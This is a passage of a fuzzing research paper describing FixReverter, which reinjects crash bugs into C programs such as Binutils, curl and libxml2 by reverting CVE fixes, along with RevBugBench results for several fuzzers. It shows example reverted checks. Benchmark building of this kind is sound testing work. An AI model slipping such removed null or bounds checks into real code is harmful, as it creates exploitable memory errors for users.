Figure 3: CVE-2017-8392 bugfix.

explained in Section 1.2. ABORT is the most common pattern
in our dataset, matching 155 CVEs. A generalization of this
pattern is the addition of a disjunctive clause to an already-
present aborting conditional block, e.g., if(p) return; becomes
if (q || p) return;.

EXEC An EXEC fix is characterized by the addition of a
conjunctive boolean expression to an existing conditional
statement (if, while and for) to check that a variable (or
path) involved in a dereference within the conditional’s body
satisfies an invariant. Such a bugfix tightens the condition
of executing the true branch of the conditional statement
which dereferences a pointer whose value is dependent on the
checked variable. Figure 3 shows the bugfix of CVE-2017-
8392 [44] with the EXEC pattern. In line 9, symbols is copied
to tmp which is dereferenced. The developer added a check of
symbols against NULL in line 6 to avoid the NULL dereference.
9 CVEs in our dataset match the EXEC pattern.

ASSIGN An ASSIGN fix is characterized by the addition
of a new if-statement whose body is the assignment to a
variable that is involved in a downstream dereference; the
conditional guard may or may not involve the same variable.
Such a bugfix changes the value of the assigned variable
which is used in a dereference in the subsequent program
execution. Figure 4 is an example of the ASSIGN pattern. In
CVE-2013-0211 [45], parameter s may cause an overwrite
error in line 8 if its value exceeds the maximum value to
safely write to the buffer. To avoid such a bug, the developer
constrained the value of s by adding the if-statement in lines
5 and 6. In our dataset 16 CVEs match the ASSIGN pattern.

All of these patterns involve conditional statements, but the
pattern of fix reversion is different for each, as is the code
affected by that reversion (e.g., either within the conditional
itself, or in subsequent program execution), which affects the
semantic conditions under which that pattern applies.
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1 static ssize_t
2 _archive_write_data(size_t s, /*other parameters*/)
3 {
4 ...
5 + if (s > max_write)
6 + s = max_write;
7 archive_clear_error(&a−>archive);
8 return ((a−>format_write_data)(a, buff, s));
9 }

Figure 4: CVE-2013-0211 bugfix.

3 FIXREVERTER

The first step of FIXREVERTER (Figure 1) is to perform a
syntactic search for a fix pattern that could be reversed in
order to inject a bug (Section 3.1). FIXREVERTER’s grammar-
based syntax matcher analyzes all files in the target program
to find the code regions that match each given syntactic bugfix
pattern (Section 3.2). Each matching region is a candidate in-
jection site. Next, using information returned from the syntax
matcher, the static reachability and dependence analysis con-
firms that traced variables in the matched pattern may reach
a dereference site that could result in a crash (Section 3.3).
FIXREVERTER then injects bugs in the target program by
reverting the patterns confirmed by the static analysis (Sec-
tion 3.4), but filters uninteresting bugs through a naive bug
filter. Finally, after a fuzzing campaign, we must triage which
injected bugs were the cause of an observed failure in the
target program (Section 3.5).

3.1 Bugfix Pattern Grammar

We express the bugfix patterns using a context-free grammar
(CFG), shown in Figure 5. By convention, non-terminals are
in uppercase and terminals are in lowercase.

The CFG specifies that an if statement falls into the
ABORT pattern (lines 1-5) when (1) it has no else branch;
(2) it has a small body with up to 3 statements;1 (3) the body
ends with a jump instruction (i.e., return, break, goto
or continue); and (4) when an if guard has multiple con-
ditions, they are connected by the logical OR operator.

The EXEC pattern accepts both while and for state-
ments; it also accepts if statements with or without else
(lines 7 and 8). The condition requires at least two conditional
expressions, connected by the logical AND operator (lines 9
and 10), and the body of the EXEC pattern cannot contain a
jump instruction (line 11).2

Lines 14 and 15 specify that an if statement falls into the
ASSIGN pattern if (1) it only has a single condition, and (2)
its body is a single assignment statement.

1We express this as a custom terminal upto3 in the grammar.
2Expressed as a custom terminal no_jump.

1 ABORT → if ABORT_CONDS ABORT_BODY
2 ABORT_CONDS → ABORT_COND
3 | ABORT_COND || ABORT_CONDS
4 ABORT_BODY → JUMP | upto3 JUMP
5 JUMP → break | goto | return | continue
6

7 EXEC → IF_WHILE_FOR EXEC_CONDS EXEC_BODY
8 | if EXEC_CONDS EXEC_BODY else EXEC_BODY
9 EXEC_CONDS → EXEC_COND && EXEC_COND

10 | EXEC_COND && EXEC_CONDS
11 EXEC_BODY → no_jump
12 IF_WHILE_FOR → if | while | for
13

14 ASSIGN → if ASSIGN_COND ASSIGN_BODY
15 ASSIGN_BODY → TRACER = rhs_assign
16

17 TRACER → PTR_TRACER | NUM_TRACER
18 PTR_TRACER → ptrVar:traceVar[]
19 | ptrVar:traceBase[] -> ptrVar:traceField[]
20 | var:traceBase[] . ptrVar:traceField[]
21

22 NUM_TRACER → num:traceVar[]
23 | ptrVar:traceBase[] -> num:traceField[]
24 | var:traceBase[] . num:traceField[]

Figure 5: Part of grammar for the ABORT, EXEC, and
ASSIGN patterns.

In our grammar, a terminal may be associated with a tracer,
which is an annotation following a colon, e.g, traceVar[]
in ptrVar:traceVar[] on line 18. Tracers are used by
FIXREVERTER to identify the symbols whose flow should
be followed to dereference sites, thus enforcing the semantic
condition of the bugfix patterns, as detailed in Section 3.2.
For example, the left-hand side of the assignment statement
of the ASSIGN pattern is traced (line 15).

In Figure 6, we show the grammar rules that define the
different conditional expressions for each pattern (lines 1-3).
We define EQ_NULL (lines 4 and 5) and NOT_EQ_NULL
(lines 6 and 7) as the expressions that match a pointer tracer
that is checked to be equal and not equal to null, respectively.
We define PTR_CMP (line 9) as the expressions that compare
(<,≤,>,≥) two pointer operations, and PTR_REL (line 10)
as the expressions that check the equality (==, !=) of two
pointer operations. A pointer operation is a pointer tracer
or the arithmetic operation (+,−,×,/) between a pointer
tracer and a number (lines 11-13). We define NUM_CMP (lines
14-15) as the expressions that check between two numeric
operations (i.e., a numeric value or the arithmetic operation
between two numeric values). A numeric value is a literal
number, a numeric tracer (i.e., a numeric variable or field),
or the result of evaluating a function call or array access that
returns a numeric type (lines 17-21).
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1 ABORT_COND → EQ_NULL | PTR_CMP | NUM_CMP
2 EXEC_COND → NOT_EQ_NULL | PTR_CMP | NUM_CMP
3 ASSIGN_COND → NOT_EQ_NULL | EQ_NULL | PTR_CMP |

PTR_REL | NUM_CMP
4 EQ_NULL → PTR_TRACER == ZEROVAL
5 | ZEROVAL == PTR_TRACER
6 NOT_EQ_NULL → PTR_TRACER != ZEROVAL
7 | ZEROVAL != PTR_TRACER
8 ZEROVAL → null | cast null
9 PTR_CMP → PTR_OP CMP PTR_OP

10 PTR_REL → PTR_OP REL_OP PTR_OP
11 PTR_OP → PTR_TRACER ARITH NUM_VAL
12 | NUM_VAL ARITH PTR_TRACER
13 | PTR_TRACER
14 NUM_CMP → NUM_OP CMP NUM_OP
15 | NUM_OP REL_OP NUM_OP
16 NUM_OP → NUM_VAL ARITH NUM_VAL | NUM_VAL
17 NUM_VAL → NUM | NUM_TRACER
18 | SINGLECALLER ( ptrVar )
19 | SINGLECALLER ( ptrVar [ NUM ] )
20 | SINGLECALLER ( var )
21 | SINGLECALLER ( NUM )
22 NUM → lit_num | null
23 SINGLECALLER → sizeof | functionCall
24 ARITH → + | - | * | /
25 CMP → < | > | <= | >=
26 REL_OP → == | !=

Figure 6: Grammar of the conditional expressions in the
ABORT, EXEC, and ASSIGN patterns.

3.2 Syntax Matcher

FIXREVERTER’s syntax matcher is implemented as a Clang
LibTool [46] (version 12). It works in two phases. First, it
reads in a grammar file just discussed, converting it into a
state machine. Phase 2 traverses the Clang abstract syntax tree
(AST) using the visitor pattern. As it encounters statements,
it finds tokens in each statement and feeds them into the
state machine to see if it matches a defined pattern. For the
statements matched, gathered tokens are placed into a JSON
file to be used in the later stages of FIXREVERTER.

Phase 1 When running the syntax matcher, a pattern file is
specified as a command-line argument. This file takes a CFG
with lists of productions NT → Token1 Token2 ... Tokenn,
where NT is a non-terminal, and a token can be either a
non-terminal or a terminal. In the grammar, a terminal may
be associated with a tracer. Information about the traced
terminals is important for the next stage of FIXREVERTER
to satisfy the semantic condition in the bugfix patterns. For
example, the name and declaration of a variable that appears in
the conditional expression of an ABORT pattern’s if-statement
are used by the static analysis. Traced terminals are written
to a JSON file with their source location and string value.

Tracers can be specified in two ways in the input grammar.
(1) terminal:tracer traces the same terminal in different
places in the grammar. For example, NT → var:t1 < num

&& var:t1> num requires the same variable to appear in both
locations of this expression. (2) terminal:tracer[] traces
multiple terminals in the grammar. For example, the pointer
tracers in lines 18-20 in Figure 5 ensure all variables, base
pointers, and fields that match PTR_TRACER are traced and
kept in traceVar[], traceBase[], and traceField[], respectively.

In phase 1, the grammar file is first parsed into a list of
productions; then, we use a generalized LR(0) parser [47]
to create a state machine. Each state represents a possible
position in the grammar. State transitions are determined by
what the possible tokens are. In this generalized parser, if there
are two or more state transitions that could be taken, it forks
into multiple parsers where each takes one of the actions. This
allows temporary ambiguity. Since each of the three patterns
we defined is mutually exclusive, this will eventually result in
one match; when conflicts are found in any forked parser, it
terminates.

Phase 2 After creating the state machine, the syntax
matcher traverses the AST using the visitor pattern provided
by Clang LibTool. For every function-statement node, if the
function exists in the original C file, we traverse its body;
otherwise (e.g., a function defined in a header file), we skip
over it. For each if-statement, for-loop, or while-loop, we start
executing the state machine. For each subsequent AST node
visited, we extract terminals from the AST node depending
on the node type, and continue executing the state machine
using the terminals. Once the visitor pattern returns to the
node which initiated the state machine, each fork of the parser
is checked. If its state machine is in an accepting state, then
the traced terminals fed into that branch are output by the
syntax matcher. For example, according to Figure 5, when the
visitor leaves an if-body, if the state machine has parsed if
ABORT_CONDS ABORT_BODY, it will move into an accept-
ing state, and a match for the ABORT pattern will be output.

While most of the terminals we process are individual oper-
ators or variables, our custom terminals allow us to treat com-
binations of statements or expressions differently for better
expressiveness and flexibility. For example, terminal upto3
in line 4 of Figure 5 represents any compound statement body
which has fewer than or equal to 3 internal statements; ter-
minal no_jump in line 11 of Figure 5 represents a single or
compound statement that does not contain a JUMP statement.
In addition, we can differentiate tokens by passing a different
terminal based on a value. For an integer literal, we process
null if the value is 0, and lit_num in any other case (line
22 in Figure 6). We also distinguish some terminals based on
the type of a variable, or whether that variable is a pointer.
For example, in EQ_NULL, we require a pointer tracer to be
compared to the value 0 at lines 4-5 in Figure 6.

Running example We illustrate FIXREVERTER’s work-
flow with an example. Figure 7a shows the bugfix of CVE-
2017-7303 [48] in Binutils. It checks whether the variable
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1 for(...)
2 + if (oheader == NULL)
3 + continue;
4 if (section_match (oheader, iheader))
5 return i;

(a) CVE-2017-7303 bugfix.

1 for(...)
2 #ifdef FRCOV
3 if (injectFlag[529]) {
4 if (oheader == NULL && !(0))
5 log("trigger bug index 529");
6 else
7 log("reach bug index 529");
8 }
9 if ((injectFlag[529] && 0)

10 || (!injectFlag[529] && (oheader == NULL)))
11 #else
12 if (0)
13 #endif
14 continue;
15 if (section_match (oheader, iheader))
16 return i;

(b) Injected code. Injection index is 529.

Figure 7: Running example.

oheader is NULL, and skips the rest of the loop if so, to avoid a
subsequent NULL dereference. In REVBUGBENCH (Section
4), FIXREVERTER reverted this bugfix, (re)injecting a bug
in the target program disassemble. FIXREVERTER’s syntax
matcher finds the if-statement in lines 2-3 because it matches
the grammar of the ABORT pattern in Figure 5; the variable
oheader is considered a traced variable.

3.3 Reachability & Dependence Analysis

FIXREVERTER’s static reachability & dependence analysis
takes as input the set of tracers output by the syntax matcher.
For ABORT and EXEC, the tracers occur in the conditional
guard; for ASSIGN, the tracer is the assigned-to variable.

The static analysis does two things (visualized by the two
vertical lines on the right in Figure 2). First, it decides whether
this tracer may be reached via an execution from a designated
entry point. Second, it determines if a subsequent pointer
dereference may be dependent on the tracer, i.e., whether the
latter can influence it. In sum, the tracer is a source and the sub-
sequent dereference is a sink. Some examples of the sinks are
reading/writing of a traced pointer, offsetting a pointer using
a traced number, and calling a library function within which
a traced argument is dereferenced. For ABORT and ASSIGN,
the dereference must occur after the matched conditional. For
ABORT, if we remove the matched if, thereby reverting the
“fix”, execution will reach the sink when it would not have
before, creating the potential to produce a crash. For ASSIGN,
it will reach the sink without having executed the reverted

assignment. The semantic condition of EXEC is different: the
subsequent dereference must occur within the body of the
if/while/for whose guard contains the tracer. Fix reversion
drops a clause in the guard, making it possible for execution
to reach a sink it would not have, producing a crash.

Running example Analyzing the example in Figure 7a,
FIXREVERTER’s static reachability analysis finds that this
ABORT pattern appears in the function find_link, which is reach-
able from the entry function of disassemble. The dependence
analysis tracks that the variable oheader is the argument passed
to section_match, which dereferences it. Thus there is a source-
sink flow between oheader and the dereference site, confirming
the semantic condition of this pattern.

Implementation We built the analysis on top of the Phasar
C-code static analysis framework [49]. Phasar provides a
summary-based solver of Inter-procedural Finite Distributive
Subset (IFDS) [50] problems, including taint analysis. IFDS
solves a dataflow problem by constructing an exploded super-
graph (ESG), replacing every node of its inter-procedural
control-flow graph (ICFG) with the bipartite graph representa-
tion of the respective flow function [50]. Our implementation
is based on Phasar release v0521 [51] using LLVM 12.0 [52].

FIXREVERTER’s analysis extends Phasar’s existing IFDS-
TaintAnalysis module. It takes a set of entry functions to start
solving the dataflow problem. It uses the ICFG to decide
which sources are reachable from these entry functions, and
then uses the taint analysis to identify dependences between
these reachable sources and possible sinks. The analysis is
context-sensitive and field-based [53]. When constructing the
ICFG, it uses a pointer analysis [53] to resolve the targets
for function pointers. The analysis operates on the whole-
program LLVM Intermediate Representation (IR) [52], gener-
ated using WLLVM [54] and LLVM disassembler llvm-dis.

Our static dependence analysis addressed several limita-
tions of Phasar’s IFDSTaintAnalysis module. First, Phasar’s
IFDSTaintAnalysis module ignores fields when propagating
taintedness, which makes the taint tracking unsound. We im-
plemented a field-based [53] analysis by extending the IFDS-
TaintAnalysis module with a global set. This set stores the
tuple <type of its base pointer, field offset>, called the field
tuple. When a field is tainted through propagation, its field
tuple is added to the set. When there is a field access, we look
up the set. If its field tuple exists in the set, the field is tainted.

Second, Phasar’s IFDSTaintAnalysis module does not keep
track of the origin of the taintedness of a variable. Thus, it
cannot report data-dependent source/sink pairs, only that a
sink is tainted. To tell which tracer may lead to an exploitable
memory error, we extend the IFDSTaintAnalysis module with
a global map to keep track of the sources of tainted variables.
The key of the map is called the taint-track key, which is either
a tainted variable or a field tuple. Each taint-track key maps to
the list of taint-track keys that its taintedness originates from.
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The map is updated each time a taint-track key is tainted.
When the analysis completes, we use the map to output the
pairs of sources/sinks that have a data dependence.

To identify the sources of the static dependence analysis,
we use line and column numbers of all traced variable and
base pointer declarations produced by the syntax matcher,
and match against the debug information in llvm.dbg.declare
instructions [55] (target programs are compiled with no opti-
mization to generate these instructions). For each traced vari-
able, we retrieve the corresponding IR register as the source.
For each traced field, we add to a global data structure for
our field-based analysis the field tuple <type-of-traceBase,
traceField-offset>. This tuple is also treated as the source of
the dependence analysis. We identify the sinks (i.e., pointer
dereferences) as IR instructions that perform a dereference.

Limitations The analysis inherits two limitations of
Phasar’s IFDSTaintAnalysis. First, Phasar’s control-flow anal-
ysis is unsound, in part due to an imprecise treatment of
function pointers, meaning it may incorrectly claim that some
functions are unreachable. As such, some injection sites may
be unnecessarily ruled out. To get a sense of the impact of
this unsoundness, we ran an experiment in which we ignored
the static analysis and injected all ABORT bugs at candidate
injection sites in the 10 programs in Table 1 and we fuzzed
those programs with AFL++ for 24 hours. We found that in
addition to the 102 bugs found by AFL++ that were approved
by the static analysis, there were 14 more that were incorrectly
filtered out by it. We are working with the Phasar authors to
fix this unsoundness. Second, sinks that are not in the applica-
tion code are specified as a list of library-function parameters;
this by-hand specification runs the risk of missing some sinks.

3.4 Bug Injection
We implement the FIXREVERTER bug injector as a Clang
LibTool [46] (version 12). The injected code allows a devel-
oper to distinguish the following three states for each injected
bug after fuzzing a target.

• Not reached: the fuzzer never reaches the conditional
statement;

• Reached: some inputs generated by the fuzzer reach the
conditional statement;

• Triggered: the reversed condition(s) with tracer is satis-
fied, while other condition(s) in the same statement is
not satisfied.

Similar bug states are used in Magma [12].
We take output from the previous step of FIXREVERTER

to perform an injection. For ABORT and ASSIGN, if there is
a single guard expression, then the entire conditional and its
body are skipped (it becomes if (0)...), mimicking the reversion

of fixes as in Figure 2. For ABORT, if the guard expression is a
disjunction (e.g., if (p || q)...) and just one of the subexpressions
has a traced variable, then that subexpression is skipped (e.g.,
it becomes if (p)...); if all disjunctive clauses are traced, the
entire if is skipped. For EXEC, the if body is retained, but the
last-seen, relevant conditional expression is removed; e.g., if (p

&& q)... becomes if (q)..., as in Figure 3. When multiple injection
candidates are syntactically nested, we inject the innermost
candidate in the nested structure.

We use a static conditional preprocessing block to distin-
guish the injections when running the fuzzer and when triag-
ing a crash (see Section 3.5), controlled by a macro, FRCOV.
We can see this in Figure 7b. When the macro is undefined,
the program can be used for fuzzing—in the running example,
we have effectively replaced if(oheader==NULL) continue (lines
2-3 of Figure 7a) with if(0) continue (lines 12-14 of Figure 7b).
This way no new branch is introduced so that it will not be
biased towards fuzzers that are sensitive to control flows.

We define FRCOV to compile the programs used for triaging.
This enables extra logic to log that a bug is triggered if the
subexpression(s) with tracers is satisfied and other subexpres-
sion(s) is not satisfied. Otherwise, reached is logged. FIXRE-
VERTER controls if an injection is turned on or off using an
environment variable (which will cause injectFlag[529] to be true
or false, in Figure 7b). Turning off an injection means that the
original code logic at the injection site is preserved.

Before fuzzing a program, we compile it with options of
address sanitizer (ASan) [56] and undefined behavior sani-
tizer(UBSan) [57]. This way, both temporal and spatial mem-
ory safety violations (out-of-bounds reads/writes, and uses-
after-free) will reliably trigger a crash when they occur, in
both the FRCOV-enabled/disabled versions of the program.

After bug injection, we perform the naive bug filter. As
discussed in Section 1, we filter the uninteresting bugs that
will fail too easily if injected.

3.5 Bug Triage
When a fuzzer generates an input that causes a FIXRE-
VERTER-processed program to crash, we want to report the
specific cause. This is not as simple as it might seem. Just be-
cause a condition is triggered does not mean that a dependent
variable must then be dereferenced, only that it could be—the
program may sometimes take an execution path that avoids
that dereference. As such, running an input could trigger sev-
eral injections, and a triage procedure must determine which
ones are material in producing the crash.

Our triage procedure works by re-running the triage version
of the target program (i.e., with the marcro FRCOV defined) on
the generated input with subsets of the triggered bugs injected,
to see under which circumstances the program still crashes.
At the end, triage will identify two kinds of causes of failure:

• When input I produces a failure when a single bug is
injected, call it A, then we say I triggering A is an indi-
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Input: I: crashing input; ts: set of triggered injections
Output: bs: the set of I’s failure causes

1: bs← /0

2: for i from 1 to || ts || do
3: for each set s ∈ Powerset(ts) where ||s ||= i do
4: if @s′ ∈ bs. s′ ⊂ s then
5: Run I on inject(s)
6: if I crashes then
7: bs← bs ∪ {s}
8: end if
9: end if

10: end for
11: end for

Figure 8: Bug triage algorithm.

vidual cause. Even though other bug sites were triggered
during the run, A is enough to cause the crash on its own.

• When input I produces a failure only when multiple bugs
are injected, say A and B, then we say the failure cause is
a combination of A and B. Neither A nor B individually
is enough—both must present for the crash to occur.

Interestingly, it is possible that the same input can cause mul-
tiple individual- or combination-bug crashes. For example,
a bug (or combination of bugs) in an initial stage of input
processing may cause a crash on I, but if that bug(s) was/were
removed, another bug (or combination) may cause a crash
when the program processes a different part of I.

We use an algorithm to triage a crash into a set of causes.
Intuitively, this algorithm first finds any individual causes,
and then finds combination ones, if they exist. For example,
if an input I triggers injections ts = {A,B,C,D}, a set bs =
{{A},{C,D}} produced by the algorithm means that {A} is
an individual cause (injecting only A causes the crash), and
{C,D} is a combination cause (injecting both C and D causes
the crash but injecting them individually does not).

This algorithm is shown in Figure 8. It takes a crashing
input I, and ts, the set of injections that were triggered when
executing I. For each subset s in the powerset of ts, starting
from the subsets whose size is 1 (lines 2-3), if s is not a
superset of any element in the set bs (line 4), line 5 injects
only the bugs in s and runs I. If I crashes, s is added as a cause
to set bs (lines 6-7).

We report both individual and combination causes in our
evaluation (see details in Section 5).

4 REVBUGBENCH

In this section, we discuss how we used FIXREVERTER to
create REVBUGBENCH.

4.1 Target programs
REVBUGBENCH consists of 10 programs chosen from
two sources. First, we use 8 programs from FuzzBench.
FuzzBench currently consists of 47 real-world programs. We
chose these 8 programs because the majority of their source
code is written in C which our tool supports and the syn-
tax matcher returns more than 100 candidate injection sites
on these programs. Second, we chose two utilities, cxxfilt
and disassemble, in the Binutils package. These utilities
are frequently used in the literature to evaluate fuzz test-
ing [9, 15, 15, 26, 33–36]. Column 1 in Table 1 shows the
program names and column 2 shows the size (in MB) of each
program (its program-specific LLVM bitcode). All 10 pro-
grams run from the libFuzzer [24] fuzzing entrypoints which
allowed us to integrate REVBUGBENCH into the FuzzBench
service (Section 4.3). The versions of these programs are the
same as those used in FuzzBench if they are specified, or the
most recent version at the time REVBUGBENCH was created.

4.2 FIXREVERTER usage
Columns 5, 8, and 11 in Table 1 show the number of injected
bugs for each program, grouped by each bugfix pattern. In
total, we injected over 7900 bugs; the ABORT pattern had the
most injections (6742).

Syntax matcher We ran FIXREVERTER’s syntax matcher
on C source files in the target programs. First, for each pro-
gram, we use Bear [64] to generate a compilation database
that records compile commands needed to build C files. The
syntax matcher is then run on the source files in the compi-
lation database; other C source files not in the compilation
database are omitted.

Static reachability & dependence analysis To run the
static analysis requires specifying a set of program entry-
points. Because every program in REVBUGBENCH runs from
a libFuzzer harness, we use each program’s LLVMTestOneInput

function as its entry point. Our implementation based on
Phasar release v0521 experienced out of memory crashes on
disassemble, curl, libxml2_reader, libxml2_xml and usrsctp.
This Phasar release improved from earlier versions the sound-
ness of its dataflow analysis, but also introduced performance
overhead. For these five program, we used an earlier version,
Phasar v1220 [65], to avoid the memory error. On average,
static analysis dropped 71% of the injection sites returned by
the syntax matcher.

Naive bug filter For each target program, we inject each
potential injection site returned by the static analysis and exe-
cute the program with its fuzzing seeds. For each REVBUG-
BENCH program, we use the seeds provided by its maintainers
if available (curl, libpcap, libxml2_reader, proj4, usrsctp, and
zstd). Otherwise, we use a default seed “hi” (consistent with
FuzzBench’s practice of seed selection) and a small valid seed
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Table 1: REVBUGBENCH. The syntax, semantic, and final columns show the numbers of injection sites returned by the syntax
matcher, static analysis, and naive bug filter, respectively.

Program
Size (MB Injection sites

bitcode) ABORT EXEC ASSIGN
# syntax # semantic # final # syntax # semantic # final # syntax # semantic # final

cxxfilt [27] 40 5784 88 86 360 1 1 1404 7 7
disassemble [27] 67 5784 1263 1262 360 56 55 1404 181 181
curl [58] 22 304 159 155 13 1 1 57 21 19
lcms [59] 2 587 365 360 15 6 5 40 11 10
libpcap [60] 1 252 92 87 11 0 0 19 8 7
libxml2_reader [29] 8 3992 2142 2122 186 112 112 564 340 335
libxml2_xml [29] 8 4442 1624 1615 206 91 91 594 285 278
proj4 [61] 3 246 223 222 10 2 2 21 8 8
usrsctp [62] 5 732 580 572 51 36 35 14 7 7
zstd [63] 5 488 285 261 5 0 0 60 18 14
Total 161 22611 6821 6742 1217 305 302 4177 886 866

taken from AFL’s repository based on file format. We drop
from consideration any injections that crash any seed. The
naive bug filter dropped 102 injections.

4.3 FuzzBench Service Integration
FuzzBench provides service to evaluate fuzzers on real-world
benchmarks, at scale [3]. It has integrated multiple state-of-
the-art fuzzers and provides build scripts that make it eas-
ier to replicate fuzzing evaluations. However, FuzzBench fo-
cuses on comparing fuzzers via code coverage. While it also
supports measuring fuzzer performance via bugs found, its
method to distinguish bugs (stack traces) is unreliable, as
discussed in Section 1. We integrated REVBUGBENCH into
FuzzBench to allow replicable and large-scale evaluations
of fuzzers that measure their ability to find crashing bugs in
real-world programs.

We extended three key components of FuzzBench: bench-
marks (target programs), measurer (on-the-fly result analyzer),
and reporter (statistical analysis of results).

Each program in FuzzBench is automatically compiled on
a Docker image [66], so called base-image, with a build script.
We build FIXREVERTER in the base-image of each target
program and modify its build script to run FIXREVERTER.
Specifically, we generate the compilation database to run
the syntax matcher, create the intermediate representation
to perform the static analysis, and then inject the bugs. The
bug-injected programs are given to FuzzBench for fuzzing
(i.e., added to its benchmarks component). The programs are
compiled with options of address sanitizer (ASan) [56] and un-
defined behavior sanitizer (UBSan) [57] set up by FuzzBench.

FuzzBench’s measurer runs inputs generated by fuzzers
on target programs, and measures some characteristics of the
execution such as code coverage. FuzzBench packs inputs
generated every 15 minutes into a cycle. The measurer is
invoked in every cycle to process the inputs. We extended
the measurer with our bug triage algorithm (Section 3.4) to
measure which injections (or their combination) are reached,
triggered and/or crashed. We also extended the measurer to

store the collected results in a database for further analysis
after each fuzzing campaign completes. We implemented such
an analysis to speed up the bug triage with multi-processing.

FuzzBench’s reporter performs statistical analysis on data
collected from each fuzzer, such as how code coverage grows
over time. We reuse its interface to run the same analysis to
report the bugs found by each fuzzer over time.

5 Experiments
This section presents the experimental results of running five
different fuzzers on REVBUGBENCH, to assess its utility as
a fuzzing evaluation benchmark, and FIXREVERTER’s ef-
fectiveness at bug injection. Our assessment considers the
following three questions:

(1) Does FIXREVERTER inject bugs that can trigger actual
crashes (Section 5.1)? FIXREVERTER’s static analysis is con-
servative, so it could retain injections that it thinks may lead
to a crash, but do not in actual fact. The experiments show
that hundreds of injections are triggered in REVBUGBENCH,
and many of these lead to crashes.

(2) Does FIXREVERTER inject bugs that are hard to find, at
least for some fuzzers (Section 5.2)? If REVBUGBENCH only
contains bugs that all fuzzers can find, it fails to distinguish
one fuzzer from another. The experiments show that only a
fraction of the injected bugs trigger crashes (i.e., they are not
too easy); some bugs are only triggered by some fuzzers; and
fuzzer performance varies overall.

(3) Do fuzzers trigger crashes owing to combination causes
(see Section 3.5), i.e., where multiple bugs must be present for
the crash to occur (Section 5.3)? Triggering an injected bug
(or bugs) may not lead to a crash, on its own, but doing so may
perturb control flow toward another bug that triggers one. The
experiments reveal many combination causes, which consti-
tute an additional, interesting performance measure. In most
cases a fuzzer’s performance is consistent when measuring
either individual causes or combination causes.

Experimental setup The five fuzzers we ran are AFL [1],
libFuzzer [24], AFL++ [25], Eclipser [16], and FairFuzz [26].
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Table 2: Fuzzer performance on REVBUGBENCH. Reach, Trigger, Individual, and All Causes columns show median numbers
of reached injections, triggered injections, individual causes, and distinct injections that caused any crashes (individual or
combination). Each cell first shows the results of all patterns, and then ABORT, EXEC and ASSIGN in the parentheses.

Program AFL [1] AFL++ [25]
Reach Trigger Individual All Causes Reach Trigger Individual All Causes

cxxfilt 49 (46 0 3) 35 (33 0 2) 8 (8 0 0) 26 (26 0 0) 51 (48 0 3) 36 (34 0 2) 9 (9 0 0) 27 (27 0 0)
disassemble 68 (61 2 5) 14 (8 2 4) 11 (8 2 1) 11 (8 2 1) 110 (103 2 5) 18 (12 2 4) 14 (11 2 1) 14 (11 2 1)
curl 59 (46 0 13) 25 (20 0 5) 6 (6 0 0) 10 (10 0 0) 58 (46 0 12) 20 (17 0 4) 5 (5 0 0) 6 (6 0 0)
lcms 139 (131 4 4) 26 (24 0 2) 7 (7 0 0) 20 (18 0 2) 152 (143 4 5) 33 (31 0 3) 11 (11 0 0) 27 (25 0 2)
libpcap 31 (30 0 1) 14 (13 0 1) 3 (3 0 0) 9 (8 0 1) 43 (42 0 1) 19 (18 0 1) 4 (4 0 0) 10 (9 0 1)

libxml2_reader 413 (327 18
68)

108 (48 11
51) 19 (10 4 6) 47 (22 7 19) 482 (374 22

86)
141 (61 13

70) 23 (13 4 6) 66 (35 8 23)

libxml2_xml 257 (205 7
45) 65 (25 4 37) 8 (5 2 1) 38 (13 3 23) 304 (250 7

47) 83 (38 4 41) 10 (6 1 3) 29 (17 2 10)

proj4 78 (72 1 5) 35 (33 0 2) 18 (16 0 2) 20 (18 0 2) 174 (167 1 6) 74 (72 0 2) 31 (29 0 2) 32 (30 0 2)

usrsctp 226 (214 11
1) 15 (12 2 0) 6 (4 1 0) 7 (6 1 0) 238 (224 13

1) 20 (17 3 0) 8 (6 2 0) 14 (12 2 0)

zstd 152 (147 0 5) 100 (95 0 5) 34(34 0 0) 71 (70 0 0) 151(146 0 5) 101 (96 0 5) 31 (31 0 0) 63 (63 0 0)

Total 1472 437 120 259 1763 545 146 288
(1279 43

150) (311 19 109) (101 9 10) (199 13 48) (1543 49
171) (396 22 132) (125 9 12) (235 14 39)

Program Eclipser [16] FairFuzz [26]
Reach Trigger Individual All Causes Reach Trigger Individual All Causes

cxxfilt 50 (47 0 3) 37 (35 0 2) 9 (9 0 0) 28 (28 0 0) 44 (42 0 2) 31 (30 0 1) 7 (7 0 0) 24 (24 0 0)
disassemble 73 (66 2 5) 14 (8 2 4) 11 (8 2 1) 11 (8 2 1) 34 (27 2 5) 13 (9 2 4) 11 (9 2 1) 11 (9 2 1)
curl 59 (46 0 13) 28 (23 0 5) 6 (6 0 0) 9 (9 0 0) 58 (46 0 12) 26 (22 0 3) 6 (6 0 0) 8 (8 0 0)
lcms 144 (135 4 4) 24 (22 0 2) 8 (7 0 0) 18 (17 0 1) 143 (135 4 4) 26 (23 0 2) 9 (7 0 0) 17 (16 0 1)
libpcap 28 (27 0 1) 13 (12 0 1) 3 (3 0 0) 8 (7 0 1) 17 (16 0 1) 7 (6 0 1) 1 (1 0 0) 3 (3 0 0)

libxml2_reader 411 (325 17
68)

106 (44 10
52) 18 (10 3 5) 49 (23 6 20) 375 (298 17

60) 98 (42 9 46) 15 (8 2 3) 42 (21 5 16)

libxml2_xml 262 (210 7
45) 67 (25 4 38) 7 (4 0 1) 31 (12 3 17) 269 (217 6

46) 72 (29 4 39) 5 (4 0 1) 20 (11 1 8)

proj4 199 (192 1 6) 81 (79 0 2) 33 (31 0 2) 33 (31 0 2) 75 (69 1 5) 33 (31 0 2) 17 (15 0 2) 19 (17 0 2)

usrsctp 218 (206 11
1) 15 (13 2 0) 7 (6 1 0) 9 (8 1 0) 192 (180 11

1) 10 (8 2 0) 3 (2 1 0) 3 (2 1 0)

zstd 151 (146 0 5) 101 (96 0 5) 37 (37 0 0) 70 (70 0 0) 149 (144 0 5) 93 (88 0 5) 34 (34 0 0) 61 (61 0 0)

Total 1595 486 139 266 1356 409 108 208
(1400 42

151) (357 18 111) (121 6 9) (213 12 42) (1174 41
141) (288 17 103) (93 5 7) (172 9 28)

Program LibFuzzer [24] MetaFuzzer
Reach Trigger Individual All Causes Reach Trigger Individual All Causes

cxxfilt 24 (24 0 1) 16 (15 0 1) 3 (3 0 0) 14 (14 0 0) 53 (50 0 3) 42 (39 0 3) 11 (11 0 0) 35 (35 0 0)
disassemble 38 (28 2 8) 16 (9 2 6) 11 (8 2 2) 12 (9 2 2) 139 (129 2 8) 22 (14 2 6) 16 (12 2 2) 17 (13 2 2)
